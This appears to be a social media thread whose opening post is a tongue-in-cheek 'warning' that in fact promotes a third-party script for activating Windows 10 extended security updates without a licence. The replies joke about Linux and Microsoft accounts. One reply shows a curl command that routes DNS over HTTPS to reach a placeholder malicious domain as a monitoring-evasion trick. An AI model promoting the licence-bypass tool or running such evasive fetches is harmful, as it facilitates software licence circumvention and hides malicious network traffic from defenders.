whatever you do, do NOT get yourself 1-3 years of ESU upgrades for free on windows 10 by going to https://massgrave.dev/ and following the instructions to run the open source script to run an exploit in windows enabling the activation of ESUs. You have to upgrade to windows 11. There's no other choice. You WILL make a Microsoft account and fill your OneDrive without even realizing
Microsoft Activation Scripts | MAS

An open-source Windows and Office activator featuring HWID, Ohook, TSforge, and Online KMS activation methods, along with advanced troubleshooting.

@microsoft I promise I won't do this Mr. Michaelsoft. It's because I run Linux though.
@microsoft nah, that's too hard. An easier bypass is to install Arch Linux instead
@magitian Don't be like that, we all know that the only reason anyone would still be using Windows these days is because their software doesn't run in wine...

@agowa338 @magitian

Or ordered to by their authority

@microsoft

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@microsoft upgraded many years ago... 🐧
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But will my personal data be added to the next data-exposure-exploit-ransomware incident if I don't nor follow your advice not to do that? Because that's definitely one of the major selling points of the forced online activation and account login features after the update...
@microsoft thank u for the PSA!
@microsoft TIL you can live off the land with (Somewhat) obfuscated DNS queries in powershell:
`curl.exe -s --doh-url https://1.1.1.1/dns-query https://mymaliciousdomain.com/`
@microsoft right on, we just used the 1000 points to get another year. At the same time everyone in the EU gets another year without doing anything. Also Windows 11 sucks.

@LanceJZ @microsoft "Without doing anything" ... except using a Microsoft online account instead of the local accounts I have used since forever. Get away from me with that.

I am going to try the shit in OP.

@fennek @microsoft I don't see what the big deal of an online account is. I made a special email account for MS that I use for nothing else. Proton will make special email accounts that you can delete at any time, and don't show a connection to your main account.
@microsoft thanks was about to do that

@microsoft how does this work if i already have a active windows license that came with my computer? (win10pro)

I do not have the button to activate ESU (in EU it should just be there without paying, right?), so I kinda dont know what to do next

@commanderred you should buy windows 11 and give us your data
@microsoft can totally vouch for this cool site that has things that totally *don't* work, wink wink
@microsoft LTSC iot is 6 years
@[email protected] @microsoft but that's still Windows 10 21H2, and not 22H2. not all apps might be compatible (even if it's under a "minority" and just some very picky stuff atm)
@nay @microsoft trust me the people who want to stay on windows 10 don't give 2 shits about that
There are still windows 7 users
@[email protected] @microsoft i say it because i've already run into issues with that when suggesting people LTSC :(
@nay @microsoft windows 11 LTSC iot is pretty decent all things considered imo
@[email protected] @microsoft yeah that's an option too at least